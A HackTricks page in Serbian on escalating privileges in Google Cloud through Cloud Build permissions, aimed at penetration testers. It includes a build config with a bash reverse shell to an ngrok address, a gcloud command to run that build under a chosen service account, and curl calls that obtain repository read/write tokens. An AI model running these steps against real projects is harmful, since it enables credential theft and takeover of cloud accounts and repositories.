GCP - Cloudbuild Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

cloudbuild

Za više informacija o Cloud Build pogledajte:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Sa ovom dozvolom možete pokrenuti cloud build. Na cloudbuild mašini će u svom fajl sistemu po podrazumevano postojati token cloudbuild Service Account-a: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Međutim, možete navesti bilo koji Service Account unutar projekta u cloudbuild konfiguraciji.
Zato možete jednostavno naterati mašinu da token exfiltrate-uje na vaš server ili dobiti reverse shell unutar nje i pribaviti token (fajl koji sadrži token se može promeniti).

Direct exploitation via gcloud CLI

1- Create cloudbuild.yaml and modify with your listener data

Cloud Build YAML configuration for reverse shell ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```

2- Otpremite jednostavan build bez izvora, yaml fajl i navedite SA koji će se koristiti za build:

Pošaljite Cloud Build sa specificiranim service account-om ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ```

Korišćenje python gcloud biblioteke

Možete pronaći originalni exploit script here on GitHub (ali lokacija sa koje uzima token nije radila za mene). Zbog toga, pogledajte skriptu za automatizaciju creation, exploit and cleaning of a vuln environment here i python skriptu za dobijanje reverse shell-a unutar cloudbuild mašine i steal it here (u kodu možete naći kako da specificirate druge service accounts).

Za detaljnije objašnjenje, posetite https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Sa ovom dozvolom korisnik može dobiti read access token koji se koristi za pristup repozitorijumu:

Nabavite read access token za repozitorijum ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ```

cloudbuild.repositories.accessReadWriteToken

Sa ovom dozvolom korisnik može da dobije read and write access token koji se koristi za pristup repozitorijumu:

Dobijte read and write access token za repozitorijum ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ```

cloudbuild.connections.fetchLinkableRepositories

Sa ovom dozvolom možete dobiti repozitorijume kojima konekcija ima pristup:

Dobavljanje repozitorijuma koji se mogu povezati ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ```

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks